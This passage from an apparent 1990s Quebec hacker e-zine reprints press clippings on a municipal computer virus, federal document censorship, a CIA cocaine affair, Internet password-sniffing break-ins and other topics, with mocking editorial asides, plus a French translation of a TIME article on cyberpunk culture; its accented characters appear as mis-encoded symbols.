virus sur notre ordinateur¯, commente Claire Vaillancourt,
attach‚e politique des conseillers du ProgrŠs civique.

®Nous avons fait venir un expert en informatique de
l'ext‚rieur

[Atreid- Probablement un sp‚cialiste du Club MacIntosh!]

et il nous affirme que les virus n'ont pu ˆtre
introduits qu'en ins‚rant une disquette … cet effet. Tous les
logiciels que nous utilisons sont des originaux, ‡a ne peut venir
des n“tres...¯, affirme Mme Vaillancourt qui craint maintenant de
passer pour une parano‹aque … devoir se tenir sur ses gardes.

®Nous avons fait changer toutes nos serrures

[Atreid- Comme BELL CANADA! ]

et nous adressons une lettre au directeur g‚n‚ral de la ville
pour qu'il procŠde … des v‚rifications¯, dit l'attach‚e aprŠs
consultation avec l'‚tat major du parti.

Le directeur g‚n‚ral s'est dit surpris d'ˆtre inform‚ par le
journaliste du contenu d'une lettre qu'il n'a pas encore re‡ue,
mais promet qu'il fera enquˆte.

®coutez, si je re‡ois une plainte en ce sens, je ferai
faire une enquˆte, que ce soit auprŠs de Bell, de nos services
informatiques ou de la police. C'est la premiŠre fois que
j'entends parler d'une affaire comme ‡a depuis que je suis en
fonction¯, commente Denis de Belleval.

Au bureau du maire de Qu‚bec et chef du Rassemblement
populaire, on invite les repr‚sentants de l'opposition ®…
transmettre leurs all‚gations au plus t“t au service de police
pour qu'il puisse faire enquˆte¯.


- 30 -


Leeched from LA PRESSE - Dimanche 24 octobre 1993

MALGR LA LOI D'ACCES A L'INFORMATION, LA CENSURE FDRALE CACHE
EMCORE DES DOCUMENTS

par Gilles Paquin

Un avocat montr‚alais qui tente de faire la lumiŠre sur les
directives que le cabinet Trudeau donnait … la GRC pour lutter
contre le "mouvement s‚paratiste" devra s'adresser … la Cour
f‚d‚rale pour se pr‚valoir de son droit d'accŠs … l'information.

®Depuis le d‚but de l'an dernier, j'ai formul‚ de nombreuses
requˆtes en vue d'obtenir des procŠs-verbaux des r‚unions du
cabinet et de ses comit‚s, mais on me remet toujours des
documents censur‚s¯, affirme, preuves … l'appui, Me Pierre
Cloutier, du Centre de recherche sur la s‚curit‚ et le
renseignement de Montr‚al.

Selon lui, la loi f‚d‚rale d'accŠs … l'information est
pourtant trŠs claire: tous les documents et procŠs-verbaux du
cabinet et de ses comit‚s, … quelques exceptions prŠs, deviennent
publics aprŠs 20 ans. Or la r‚alit‚ est fort diff‚rente, soutient
Me Cloutier.

®Des fonctionnaires anonymes d‚cident, de fa‡on tout-…-fait
arbitraire et en prenant tout leur temps, de ce qui doit ˆtre
d‚voil‚ au bon peuple¯,

[Atreid- Est-ce moi qui est pr‚cosse o— il le fait exprŠs?]

ajoute l'avocat. Il a lui-mˆme re‡u des
documents tellement censur‚s qu'ils contenaient plus de pages
blanches que de textes.

Pour illustrer son propos, Me Cloutier a remis … 'La Presse'
des copies de procŠs-verbaux des r‚unions du cabinet qui lui ont
‚t‚ transmises par le bureau d'accŠs … l'information du Conseil
priv‚ aprŠs de longues d‚marches. Il en a re‡u trois versions au
fil des mois, ce qui lui a permis de d‚couvrir, petit … petit,
une partie de ce qu'on cherche … lui cacher.

Une histoire sinueuse

Toute l'affaire a commenc‚ lorsque Me Cloutier a formul‚ une
demande d'accŠs … l'information au Conseil priv‚, en mars 1992,
aprŠs avoir lu dans 'La Presse' que certains documents du cabinet
et de la Commission McDonald ‚taient maintenant du domaine
public.

Un mois plus tard, il re‡oit une copie censur‚e d'un m‚moire
sur "le s‚paratisme au Qu‚bec" r‚dig‚ le 17 d‚cembre 1969 par le
premier ministre du temps, Pierre Elliott Trudeau, … l'intention
du comit‚ sur la s‚curit‚ et le renseignement du cabinet. On lui
transmet ‚galement un procŠs-verbal expurg‚ de la r‚union tenue
par ce comit‚ deux jours plus tard dans le but d'‚tudier cette
question.

®Selon les t‚moignages entendus … huis-clos par la
Commission d'enquˆte McDonald sur les activit‚s ill‚gales de la
GRC six ans plus tard, c'est en s'appuyant sur ce document que le
comit‚ a alors ‚labor‚ le mandat secret de la force policiŠre
f‚d‚rale visant … faire face … la menace s‚paratiste¯, soutient
M. Cloutier.

Cherchant … en savoir davantage, Me Cloutier pr‚sente alors,
… la fin avril, une deuxiŠme demande sur le mˆme sujet. La
r‚ponse ne se fait pas attendre, cette fois il re‡oit quelques
jours plus tard de nouvelles copies des mˆmes textes plus
censur‚s que les premiers.

D‚pit‚, il ‚crit alors au Commissaire … l'accŠs …
l'information du Canada, fin mai 1992, pour exiger des
explications ainsi qu'une version int‚grale de ces documents. Le
5 juin suivant, on lui r‚pond simplement que sa requˆte a ‚t‚
confi‚e … un enquˆteur de la Commission. Puis le temps passe.

Finalement, le 14 septembre dernier, le bureau d'accŠs …
l'information du Conseil priv‚ lui exp‚die une troisiŠme version,
moins censur‚e, des deux textes litigieux. Il en manque encore
des grands passages note l'avocat, ainsi pr‚sent‚s ces documents
demeurent souvent myst‚rieux.

®J'ai maintenant d‚cid‚ d'‚crire … nouveau au Commissaire
pour lui demander des explications sur cette censure par retour
du courier et j'ai l'intention de porter l'affaire devant la Cour
f‚d‚rale¯, dit Me Cloutier.

Selon lui, si les documents ‚taient complets il serait
peut-ˆtre possible de percer l'‚nigme qui persiste au sujet des
ordres transmis au service de s‚curit‚ de la GRC dans sa lutte
contre le "mouvement s‚paratise". Il se demande mˆme si la
censure ne cherche pas … cacher des d‚cisions inavouables, voire
mˆme ill‚gales du cabinet.

®En tenant compte de tout ce qui s'est pass‚ au cours des
ann‚es suivantes, soit le vol des listes de membres du PQ par la
GRC, les vols de dynamite perp‚tr‚s par ses agents et une foule
d'autres activit‚s ill‚gales r‚v‚l‚es par les commissions Keable
et McDonald, on a de bonnes raisons de se poser des questions¯,
dit Me Cloutier.

Il aimerait bien savoir ‚galement qui sont ces censeurs qui
charcutent les documents publics avant de les remettre aux
citoyens qui font des recherches sur les administrations
pr‚c‚dentes. Certains de leurs coups de ciseaux sont ‚tranges,
dit-il, d'autres sont peut-ˆtre complices.

Lorsqu'on compare les trois versions des textes transmis …
Me Cloutier, force est de reconnaŒtre que les censeurs manquaient
parfois de suite dans les id‚es et cachaient mˆme des choses
r‚v‚l‚es dans des documents officiels.


- 30 -


Leeched from THE NEW YORK TIMES - Samedi 20 novembre 1993

ANTI-DRUG UNIT OF C.I.A. SENT TON OF COCAINE TO U.S. IN 1990

par Tim Weiner

WASHINGTON, Nov. 19 ÄÄ A Central Intelligence Agency
anti-drug program in Venezuela shipped a ton of nearly pure
cocaine to the United States in 1990, Government officials said
today.

No criminal charges have been brought in the matter, which
the officials said appeared to have been a serious accident
rather than an intentional conspiracy. But officials say the
cocaine wound up being sold on the streets in the United States.

One C.I.A. officer has resigned, a second has been
disciplined and a Federal grand jury in Miami is investigating.

The agency, made aware of a "60 Minutes" investigation of
the matter scheduled for broadcast on Sunday, issued a statement
today calling the affair "a most regrettable incident" involving
"instances of poor judgement and management on the part of
several C.I.A. officers."

The case involves the same program under which the agency
created a Haitian intelligence service whose officers became
involved in drug trafficking and acts of political terror. Its
exposure comes amid growing Congressional skepticism about the
role of the C.I.A. in the war on drugs.

In the mid-1980's, under orders from President Reagan, the
agency began to set up anti-drug programs in the major
cocaine-producing and trafficking capitals of Central and South
America. In Venezuela it worked with the country's National
Guard, a paramilitary force that controls the highways and
borders.

Government officials said that the joint C.I.A.-Venezuelan
force was headed by Gen. Ram¢n Guill‚n D vila, and that the
ranking C.I.A. officer was Mark McFarlin, who had worked with
anti-guerilla forces in El Salvador in the 1980's. The mission
was to infiltrate the Colombian gangs that ship cocaine to the
United States.

In December 1989, officials of the United States Drug
Enforcement Agency said, Mr. McFarlin and the C.I.A. chief of
station in Venezuela, Jim Campbell, met with the drug agency's
attach‚ in Venezuela, Annabelle Grimm, to discuss a proposal to
allow hundreds of pounds of cocaine to be shipped to the United
States through Venezuela in an operation intended to win the
confidence of the Colombian traffickers.

Unlike so-called "controlled shipments" that take place in
criminal investigations, shipments that end with arrests and the
confiscation of the drugs, these were to be "uncontrolled
shipments," officials of the drug agency said. The cocaine would
enter the United States without being seized, so as to allay all
suspicion. The idea was to gather as much intelligence as
possible on members of the drug gangs.

The drug agency refused to take part in the operation and
said it should be called off. In a transcript of the "60 Minutes"
broadcast supplied to The New York Times, Ms. Grimm said Mr.
McFarlin of the C.I.A. and General Guill‚n had gone ahead anyway.

"I really take great exception to the fact that that 1,000
kilos came in, funded by the U.S. taxpayer money," Ms. Grimm
said, according to the transcript. "I found that particularly
appalling."

D.E.A. officers and other Government officials gave this
account of the cocaine shipments and subsequent investigations
into their origins:

The C.I.A.-Venezuelan force accumulated more than 3,000
pounds of cocaine delivered to its undercover agents by
Colombian traffickers and stored the cocaine in a truck
at the intelligence agency's counter-narcotics center in
Caracas. Most of the cocaine was flown to the United
States in a series of shipments during 1990.

Drug Seizure at Miami Airport

In late 1990, United States Customs Service officials seized
a shipment of nearly 1,000 pounds at Miami's international
airport and discovered that it had been shipped by members of the
Venezuelan National Guard. Investigators from the drug agency
interviewed a Venezuelan undercover agent working with the
C.I.A.'s counter-narcotics center, who told them that the
shipments had been approved by the United States Government.

The investigators from the drug agency, unaware that the
intelligence agency had any role in the affair, first set about
trying to eliminate their own personnel as suspects. They found
that a female drug enforcement officer in Caracas had a close
relationship with Mr. McFarlin. Using information she had
obtained from him, the drug agency then focused its attention on
the C.I.A. officer and his colleague, General Guill‚n.

In June 1991 the United States Attorney in Miami sent a
memorandum to the Justice Department proposing the indictment of
the general.

"The fly in the ointment is that the dope was delivered to
the United States," a senior Drug Enforcement Administration
official said in an interview today. "If you're part of a drug
shipment and you have knowledge that it is going to the U.S.,
whether or not you ever entered the U.S., you're culpable."

That month, Melvin Levitsky, then the chief State Department
official overseeing international narcotics matters, met with
officers of the Justice Department, the C.I.A. and the D.E.A. and
explained that if the Justice Department brought an indictment
against General Guill‚n, the United States might have to cut off
assistance to Venezuela, causing major diplomatic problems.

General is Granted Immunity

The general was not indicted. In exchange for his
cooperation, he was granted immunity from having his own words
used against him. But the general apparently said nothing
implicating the Central Intelligence Agency.

But in 1992 the intelligence agency's own inspector general
completed a report on the affair and submitted it to Senate
Intelligence Committee. That report remains secret, although
aspects of the affair have been widely reported in Venezuelan
newspapers.

Former agency officers familiar with the report say it found
no indication that anyone from the C.I.A. had profited from the
affair. Mr. McFarlin has resigned from the agency, and a second
officer was disciplined. No criminal charges are pending,
although General Guill‚n has been subpoenaed to appear before a
Federal grand jury in Miami, the C.I.A. said in a statement
today.

The investigation crippled the agency's counter-narcotics
center in Venezuela, but similar centers continue to operate in
Bolivia, Peru, Colombia and other cocaine-trafficking countries,
Government officials said. Such programs fall under the banner of
"liaison relationships" with foreign intelligence agencies, and
rarely if ever does the C.I.A. willingly report on these
relationships to Congress.

In an interview last week, Representative Dan Glickman, the
Kansas Democrat who heads the House Intelligence Committee, said
the subject of C.I.A. anti-drug activities needed closer scrutiny
by the agency's Congressional overseers.


- 30 -


Leeched from WARNER BROS. PRESS RELEASE - 93/11/02

STANLEY KUBRICK'S "AI"

par Warner Bros.

Stanley Kubrick's next film for Warner Bros. will be "AI" -
the abbreviation for artificial intelligence - an epic science
fiction story set in a future when intelligent robots service in
many capacities, the greenhouse effect has melted the ice caps
and many great cities are drowned. New Jersey has become the
shoreline and New York's eroding and crumbling skycrapers are
ancient monuments rearing up from the Atlantic ocean.

The film is planned for production later next year. Kubrick
had originally worked on the project for two years before putting
aside in 1991 when he felt the visuals were beyond the then
state-of-the-art in special-effects. But the recent advances in
special-effect technology, especially in CGI (Computer Graphic
Imaging) so impressively presented in "Jurassic Park", has
convinced him that now virtually anything is possible.

Kubrick had been preparing to produce and direct "Aryan
Papers", a story set in the Nazi Holocaust, based on Louis
Begley's novel "Wartime Lies", which he will now either produce
but not direct early next year, or direct himself after "AI" is
completed. -wb-


- 30 -

Leeched from THE GLOBE AND MAIL - Jeudi 18 novembre 1993

CAMERAS ROLLING FOR FLQ FILM

par The Globe and Mail

MONTREAL ÄÄ Pierre Falardeau's film about the 1970 FLQ
assassination of Pierre Laporte, to be called "Octobre (Rue
Armstrong)", is currently shooting in Montreal, with a projected
completion date of Dec. 5. The film's producers, AVPAV, decline
to discuss the film, and are postponing interviews with the
principals until shooting is finished.

The script for "Octobre" created controversy last february
when Senator Philippe Gigantes denounced the spending of public
money on a film which, he alleged, glorified the Front de
Lib‚ration du Qu‚bec. Gigantes had received a copy of the script,
which Falardeau alleged had been stolen, and distributed copies
of it to jounalists. Falardeau subsequently acknowledged that the
film was pro-FLQ, but argued that politicians had no business
interfering in freedom of artistic expression.

Telefilm spokesman Michel Montagne acknowledged that the
organization has contributed $1-million to the projected
$2.2-million cost of the film.

He also said that Falardeau's script had been rewritten,
"largely to be certain that it did not say anything defamatory
about actual persons" involved. He underlined that this was not
"censorship" but was done in the interests of accuracy.

The film was originally budgeted at $2.6-million, but the
budget was reduced for unspecified reasons.


- 30 -


Leeched from THE GAZETTE - Jeudi 21 octrobre 1993

HACKERS NEARLY BROKE BANK

par The Associated Press

MOSCOW ÄÄ Computer hackers nearly succeeded in stealing $75.4
million from Russia's Central Bank last month, a bank spokesman
said yesterday.

The foiled robbery was only the latest in a string of thefts
and attempted frauds at the state-run bank since the breakup of
the Soviet Union and the beginning of its transition to a market
economy.

The unidentified hackers got into the bank's computer using
a random combination of access codes and then tried to transfer
the money into accounts at commercial banks. The attempt failed
because the thieves lost too much time transferring the vast
sums, and the bank detected the computer leak.

Bank spokesman Vladimir Yefremov said police were still
investigating.


- 30 -


Leeched from LE DEVOIR - Mercredi 24 novembre 1993

Contre l'empire des fraudeurs
LES PUCES CONTRE-ATTAQUENT

par Andr‚ Salwyn

Avec la mise en march‚ de photocopieuses couleur de plus en
plus sophistiqu‚es, les fraudeurs semblent s'en donner … coeur
joie: la contrefa‡on de chŠques de compagnie aurait rapport‚, au
Canada seulement, la somme rondelette de 2 milliards de dollars
cette ann‚e. Cela repr‚sente une augmentation de 63% des fraudes du
genre par rapport … l'ann‚e pr‚c‚dente.

Mais la d‚fense s'organise: l'entreprise Data Formules
d'affaires a mis au point un logiciel appel‚ Laserfront et qui, par
la fa‡on dont il imprime les chiffres, rend pratiquement impossible
l'alt‚ration de ces derniers une fois qu'ils sont imprim‚s sur un
chŠque.

Data Formules d'affaires jouit d'un certain respect dans les
milieux financiers et autres car elle dispose de toute l'exp‚rience
acquise par l'ex-multinationale Burroughs dans le domaine de la
lutte contre la fraude par copiage ou alt‚ration de chŠques.

Elle a en effet acquis et absorb‚ la filiale canadienne de
Burroughs lorsque cette derniŠre a connu des difficult‚s
financiŠres. (Il faut rappeler ici que c'est Burroughs qui, en
1980, mettait au point la premiŠre machine permettant d'imprimer le
montant et de signer des chŠques).

Le logiciel Laserfront, disons-le tout de suite, n'est pas bon
march‚. Il se vend, nous dit-on, entre deux 2 et 3 000$ et cela,
mˆme si le principe selon lequel il fonctionne demeure assez
simple.

En effet, Laserfront imprime les chiffres de fa‡on
alphanum‚rique, c'est-…-dire qu'il imprime le chiffre num‚rique
lui-mˆme sur un fond compos‚ d'une s‚rie de repr‚sentations du mˆme
chiffre ‚crit en toutes lettres (anglaises, pour l'instant).

[Atreid- Deux … trois milles dollars pour faire €A?]

Ainsi le chiffre 8 apparait sur un champ de petits "eight". On
voit tout de suite le genre de problŠme auquel un fraudeur aurait
… faire face s'il d‚cidait, par exemple, de changer le 8 en 9.

Le logiciel Laserfont peut ˆtre utilis‚ par tout appareil PC
rattach‚ … une imprimante laser. Data Formules d'affaires offre
aussi … ses clients des fromules de chŠques sur papier sp‚cial qui
contient une trame le prot‚geant contre toute copie en couleur.

Jean-Guy Paquette, porte-parole de l'entreprise, nous assure
que dŠs qu'une tentative est faite de photocopier un chŠque ‚mis
sur ce papier... les mots "Faux" "Void" ou "Nullo" apparaissent sur
le chŠque, le rendant inutilisable. (...)

- 30 -

[Blitz- ca devient comme une habitude, n'est-ce pas, ces compagnies
de "s‚curit‚" qui pr‚sentent des produits … des prix d‚fiant
l'imagination. En gros, Laserfont, ce n'est que cel…, un "font". Un
font de dix chiffres, de 0 … 9, qui co–te 2500$!!! Et puis,
Paquette et son papier sp‚cial peuvent probablement aller se
rhabiller: les photocopieurs lasers sont de bien meilleur qualit‚
aujourd'hui et leur tramage "magique" doit en prendre pour son
rhume. En tous cas, moi, je demande … voir!]



Leeched from THE GLOBE AND MAIL - Mardi 23 novembre 1993


SOCIAL STUDIES

par Michael Kesterton

(...) This month, in Port St. Lucie Fla., Tom (Fuzzy) Fezette and
Amy (Bam Bam Jr.) Gross made their marriage vows on two laptop
computers on a coffe table. The hackers, who met on an electronic
bulletin board, had more than 50 on-line guests and relatives, as
far away as Wisconsin, following the ceremony.

- 30 -


-Santa: Le texte suivant est simplement une coupure faisant
r‚f‚rence … la seconde guerre, qui prouve combien les gens
peuvent si bien cacher les choses, lorcequ'elles tournent … leurs
avantages.

CHURCHILL SAVAIT-IL QUE LE JAPON SE PRPARAIT A ATTAQUER PEARL
HARBOR?

LONDRES(AP)- Winston Churchill savait-il … l'avance que le Japon
se pr‚parait … attaquer Pearl Harbor? Les archives des services
secrets britanniques rendues publiques, jeudi 25 Novembre 1993,
ne r‚pondent pas … cette interrogation. Elles r‚vŠlent en
revanche que le premier-ministre britannique n'ignorait pas
l'existence des camps d'extermination nazis dŠs 1942.

La publication de ces documents intervient dans le cadre de la
politique de transparence voulue par l'h“te du 10, Downing
Street, John Mayor. Historiens et chercheurs ont ainsi pu se
plonger, hier, dans 1273 dossiers jusqu'alors tenus secrets,
relatifs aux ann‚es 1941 et 1942.

Si certains attendaient beaucoup de ces archives pour ‚clairer
des zones d'ombres de l'histoire, le Bureau des archives
publiques (PRO) s'est charg‚ de calmer leurs ardeurs: "Aucun
document n'indique clairement que des sources britanniques
‚taient au courant de l'attaque japonaise sur Pearl Harbor, mˆme
s'il ‚tait pr‚visible que le Japon allait entrer dans la guerre",
souligne-t-il dans un communiqu‚.

Le PRO ajoute toutefois que, "les historiens, aprŠs une ‚tude
d‚taill‚e de ce mat‚riel, pourraient parvenir … une conclusion
diff‚rente".

Pas un des documents rendus publics, jeudi, ne fait directement
allusion … l'attaque par des avions embarqu‚s japonais de la base
Am‚ricaine de Pearl Harbor, aux premiŠres heures du 7 d‚cembre
1941. Cette agression nippone s'‚tait sold‚e par la mort de 2400
personnes et la perte par les Am‚ricains de 120 avions et 19
navires.

Dans un ouvrage intitul‚ "Trahison … Pearl Harbor" (Betrayal et
Pearl Harbor), James Rusbridger et Eric Nave affirment que les
services secrets britanniques d‚tenaient la cl‚ des codes
japonais de premiŠre importance et ont pu intercepter des signaux
annon‡ant une attaque imminente sur Pearl Harbor.

D‚chiffreur australien, Eric Nave avait d‚crypt‚ plusieurs codes
secrets japonais avant et aprŠs le conflit. Il est d‚c‚d‚ en
Juillet dernier.

L'un des documents consultables depuis Jeudi est un message dat‚
du 4 d‚cembre 1941 et barr‚ de la mention "Ultra Secret". Il
s'agit d'un ordre du ministŠre japonais des Affaires ‚trangŠres
appelant l'embassadeur du Japon … Washington … d‚truire tous les
codes secrets. Trois jours plus tard, la principale base
am‚ricaine de l'archipel d'Hawaii ‚tait attaqu‚e et les tats-
Unis entraient … leur tour dans ce nouveau conflit mondial.

Le rapport relatif aux activit‚s de la police allemande date du
26 septembre 1942 et comprend des chiffres pr‚cis sur le nombre
de morts dans les camps nazis au mois d'ao–t de cette ann‚e:
"Niederhagen 21; Auschwitz 6829 hommes, 1525 femmes; Flossenburg
88; Buchenwald 74."

Ce document fait r‚f‚rence … une demande de main-d'oeuvre
pr‚voyant l'envoi de 1000 prisonniers d'Auschwitz dans des
chantiers ferroviaires. Il est pr‚cis‚ que ce contingent n'a pu
ˆtre envoy‚ en raison D'une "interdiction", apparemment une
quarantaine, frappant les occupants de ce camp. "Bien que le
typhus fasse toujours rage … Auschwitz, il semble que les
arriv‚es se poursuivent", peut-on lire dans ce rapport qu'avait
lu Winston Churchill.

Un autre rapport provenant de l'ambassadeur japonais … Berlin et
dat‚ du 29 novembre 1941 cite le ministre allemand des Affaires
‚trangŠres Joachim Von Ribbentrop: "Le fuhrer, dit-il, croyait
que la situation ‚tait mauvaise en Grande-Bretagne et pensait
qu'… la suite des op‚rations allemandes … venir, elle pourrait
ˆtre battue sans ˆtre envahie." Il ‚tait ‚galement signal‚, chez
les Britanniques, un "manque de confiance en Churchill"...

- 30 -


COMPUTER NETWORK AT RISK

New York Times (Nov 1)
by John Markoff

SAN FRANCISCO -- The vision of a national information
superhighway is being threatened by a group of anonymous computer
intruders who have broken into hundreds of university, government
and commercial computers in recent months, bedeviling many of the
nation's computer managers.

The attacks, which became public several weeks ago when an
on-line service in New York City was forced to shut down for
three days, have alarmed security experts, who say this has
exposed fundamental weaknesses in the security of Internet, an
international computer network that is widely viewed as
theforerunner of the nation's data highway.

``The pervasive nature of this thing is startling but not
surprising,'' said Peter Neumann, a computer scientist and
security expert at SRI International, a research center in Menlo
Park. ``The vendors and the system administrators are way behind
the power curve. The fact is everyone on the Internet is getting
hit.''

The intruders have been able to obtain passwords for
hundreds, or even thousands, of computers that are attached to
Internet, which connects more than two million computers at
universities, corporations and government sites around the world.

``The extent of this isn't appreciated by the people who
should know better,'' said Alexis Rosen, president of Panix
Public Access system, a New York City on-line service, which was
attacked last month.

The problems are sobering because similar security
technologies are being used by most of the interactive television
experiments of cable television and telephone companies eager to
sell services like on-line banking and home shopping.

``People see the glitter and the glamour of the information
highway, but they don't see the risk,'' said Eugene Spafford, a
computer scientist and director of a Purdue University security
center. ``The vast majority of people have never really bothered
to think carefully about what they may have to lose and what
exposure they are taking for themselves by connecting to the
network.''

On Oct. 18, the staff of Panix Public Access found that an
intruder had secretly inserted a rogue program into one their
computers. The program was designed to watch network data
communications, and record password information in a secret file.

In recent years, dozens of small commercial on-line service
providers like Panix have sprung up around the country to give
computer users access to Internet. In addition to electronic
mail, this permit users to read computer bulletin boards, and
exchange software and documents. They are part of an explosion of
network services that are being used by an increasing number of
American businesses for electronic commerce.

Computer site administrators said they had no accurate
estimates of how many systems had been compromised in the
attacks, or whether information had been stolen.

Several computer sites said they had notified the FBI, which
along with the Secret Service has jurisdiction over computer
break-ins. However there is little information about where the
intruders are or even whether the break-ins are the work of an
individual or a group working together.

This kind of attack is known by computer security
researchers as a ``Trojan horse.'' It permits an illegal user to
collect the passwords of legitimate users as they connect to
other computers over the network. Once armed with the passwords,
the intruder can enter other computers.

Security experts said the method is not new, but its
extensive use reveals Internet's weaknesses.

Much of the network is based on standard office-network
technology called Ethernet. Computer data sent over an Ethernet
network pass by every computer that is connected to the local
network. Therefore, a machine that is taken over by an illegal
user can scan and capture any of that information.

The attacks, government and private security specialists
both said, raise questions about the use of passwords as a method
for protecting network security in the future.

``Things go flying by in clear text on communications lines
that are easy to tap,'' said Richard Pethia, coordinator of the
Computer Emergency Response Team, a government-financed security
support group at Carnegie Mellon University. His group has made
300 to 400 phone calls warning computer sites around the country
that their security might have been compromised.

A number of security experts said technology now exists that
would help minimize the kind of intrusions that rely on stealing
passwords.

For example, there are systems that require a password to
change every time it is used. Other systems require users to rely
on special credit card-sized computers that create a unique
password for each connection.

Researchers at Massachusetts Institute of Technology have
created a security system called Kerberos, which codes password
information so that it cannot be viewed while it is passes over
the network.

The recent intrusions have also reignited a debate among
security specialists over how much information about loopholes in
system protection should be made publicly available.

The Computer Emergency Response Team maintains a policy of
not commenting on specific attacks. However, the organization has
been criticized by a number of system administrators, who think
they are vulnerable to attacks because they are not informed
quickly enough of newly discovered security flaws.

``I disagree with their policy and I wish they would change
it,'' Rosen of Panix said, adding that he had decided to
publicize the attacks because he believed the problem was much
more widespread than security officials had acknowledged.

- 30 -



CYBERPUNK!

(Traduction par M‚phisto).

Le pr‚sent article fut publi‚ dans le magazine TIME. On y trace
le portrait pr‚cis des cyberpunks de la commmunaut‚ informatique
underground.

Les Beatniks des ann‚es 50 sont les vrais initiateurs de l'opposition
au conformisme de l'Amerique, … l'‚poque d'Eisenhower. Dans les
ann‚es 60, les Hippies s'opposent publiquement … la guerre, prˆchent
la libert‚ sexuelle, l'usage des drogues et le Rock'N'Roll.
A l'heure actuelle, une nouvelle culture surgit de l'underground,
envahit les ‚crans informatiques partout dans le monde:
c'est le CYBERPUNK, un terme n‚ au seuil du 21Šme siŠcle, form‚
de CYBERNETIQUE, science de la communication et de la r‚gulation
des machines, et PUNK, groupe antisocial pr“nant la r‚volte.

L'essence de la culture internationale Cyberpunk nait de cette
union bizarre: une fa‡on de voir le monde qui r‚unit la folie
de la haute technologie et le m‚pris envers son utilisation

  
conventionnelle.

Les premiers Cyberpunks font partie d'un groupe radical d'‚crivains
de science-fiction, puis, les premiers pirates vraiment tenaces
leur succŠdent. Le mot Cyberpunk recouvre maintenant un large
‚ventail: musique, art, psych‚d‚lisme, drogues fortes,
technologies nouvelles, sans oublier les hackers qui
travaillent laborieusement … r‚pandre cette culture. Il y a
plusieurs tentatives de d‚finition: Technologie avec une Attitude
(Stewart Brand, Whole Earth Catalog), Une alliance impie du monde
technologique, de la culture Pop underground et de l'anarchie
de la rue. (Bruce Sterling, Science-Fiction writer).

Comme dans tout mouvement de contre-culture, certains nient appartenir
… un mouvement quelconque. Quoique le journal Cyberpunk le plus connu,
(Punk! Magazine) d‚clare avoir 70 000 lecteurs, il n'y a guŠre
que quelques milliers de hackers informatiques qui pourraient
vraiment se r‚clamer de ce groupe: pirates, futuristes,
phreakers, artistes, musiciens et cr‚ateurs de science-fiction.

N‚anmoins, ce groupe peut d‚finir la contre-culture de l'‚poque
informatique. Il embrasse, en esprit du moins, le hacker dans la
trentaine, vo–t‚, devant un terminal, mais aussi des jeunes dans la
vingtaine, … la narine perc‚e, r‚unis pour des RAVES clandestins,
des adolescents que leur Amiga fait triper, comme leurs parents,
autrefois, les disques, et mˆme des pr‚adolescents qui s'activent
devant leur Nintendo ou leur Sega, les futurs Cyberpunks.

Obs‚d‚s par la technologie, les Cyberpunks sont tourn‚s vers une
philosophie futuriste qui n'existe pas encore. Ils ont d‚j… un
pied dans le 21Šme siŠcle, convaincus que dans un avenir lointain
tous les terriens seront des Cyberpunks.

Le look Cyberpunk, une espŠce d'art science-fiction surr‚aliste
sur ordinateur, apparaŒt dans les galeries, les vid‚os et les
films hollywoodiens. Les magazines Cyberpunk, plusieurs publi‚s
… bon march‚ ou distribu‚s par medium ‚lectronique, se
multiplient comme les canaux t‚l‚. La musique Cyberpunk fait vivre
plusieurs compagnies de disques. Les livres Cyberpunk disparaissent
vite des tablettes. Et les films Cyberpunk comme Bladerunner,
Robocop, Videodrome, Total recall, Terminator 2 et The lawnmower
man, basculent dans cette culture.

[Atreid- Terminator 2? Robocop?]

Aux E.-U. (et par cons‚quent au Canada), la culture Cyberpunk
s'empare de tout, mˆme de l'administration Clinton, … cause
de l'int‚rˆt port‚ … 'l'autoroute des r‚seaux' et ce que les
Cyberpunks nomment Cyberspace. Les deux termes r‚fŠrent au r‚seau
t‚l‚phonique interconnect‚ entourant la planŠte, v‚hiculant des
billions de voix, de fax et de donn‚es. Ce Cyberspace gigantesque,
l'Internet, se d‚ploie sur l'Atlantique, atteint l'Irlande, l'ouest
de l'Europe, le Japon, la Cor‚e du Sud, l'Indon‚sie, l'Australie et
la Nouvelle-Z‚lande. Les Cyberpunks voient les cables de
l'int‚rieur et parlent d'un r‚seau comme si c'‚tait une place
pour s'installer, une r‚alit‚ virtuelle dans laquelle on peut
p‚n‚trer, qu'on peut explorer et manipuler.

Le cyberspace joue un r“le majeur dans la vision mondiale Cyberpunk.
La litt‚rature est remplie de 'Console Cowboys' qui alimentent
leur imaginaire de faits h‚ro‹qyes. "Cyberpunk", un livre paru en
1991, met en vedette trois hackers Cyberpunk qui font autorit‚,
incluant Robert Morris, l'‚tudiant de l'universit‚ Cornell: un
virus de son ordinateur se r‚pandit dans l'Internet et
paralysa tout le r‚seau en 1988.

Cependant, le Cyberspace est plus qu'un terrain de jeu. C'est un
medium. Chaque nuit sur GEnie, sur Compuserve ou sur des milliers
de babillards ‚lectroniques, des centaines de milliers d'usagers
se connectent et participent … la fˆte m‚diatique, un d‚bat interactif
qui leur permet de faire sauter les barriŠres du temps, des pays,
du sexe et du statut social.

La plupart des usagers se contentent de visiter le cyberspace de
temps en temps, mais le Cyberpunk s'y installe pour vivre, jouer
et mˆme pour mourir. Le WELL (Whole Earth Electronic Link), un site
Internet, fut ‚branl‚ quand l'un de ses membres les plus actifs
lan‡a un programme qui effa‡a tous ses messages dans des milliers de
postes. Quelques semaines plus tard, il se suicida pour de vrai.

Cet ‚v‚nement attira les penseurs Cyberpunk sur le site Well. Ils
s'interrogŠrent: Est-ce l… un fait significatif du mouvement
Cyberpunk? Les r‚ponses affluŠrent et remplirent plus de 300 pages
de textes. A partir de toutes ces r‚flexions, on dressa une liste
des tendances principales du mouvement Cyberpunk:

LES INFORMATIONS DOIVENT CIRCULER LIBREMENT. Toute information
valable peut ‚ventuellement tomber entre les mains de gens qui
en feront un meilleur usage, malgr‚ les efforts de la
censure, des copyright l‚gaux et du service secret.

TOUJOURS CEDER A L'IMPERATIF DE S'INFILTRER. Les Cyberpunks
maintiennent qu'ils peuvent mener la planŠte pour le mieux si
seulement ils peuvent mettre la main sur la boŒte de contr“le.

PROMOUVOIR LA CENTRALISATION. La soci‚t‚ se disperse en centaines
de sous-cultures et de sectes, ce qui est stupide.(1)

'SURF THE EDGES'. Lorsque le monde change … chaque nanoseconde,
la meilleure fa‡on de vous tenir la tˆte hors de l'eau c'est de
rester au-dessus de la vague.

Pour les Cyberpunks, r‚fl‚chir sur l'histoire est moins important
que de rencontrer le futur. A travers bien des vicissitudes,
ils trouvent le moyen de vivre avec la technologie, de se
l'approprier: ce que les Hippies n'ont jamais fait. Les Cyberpunks
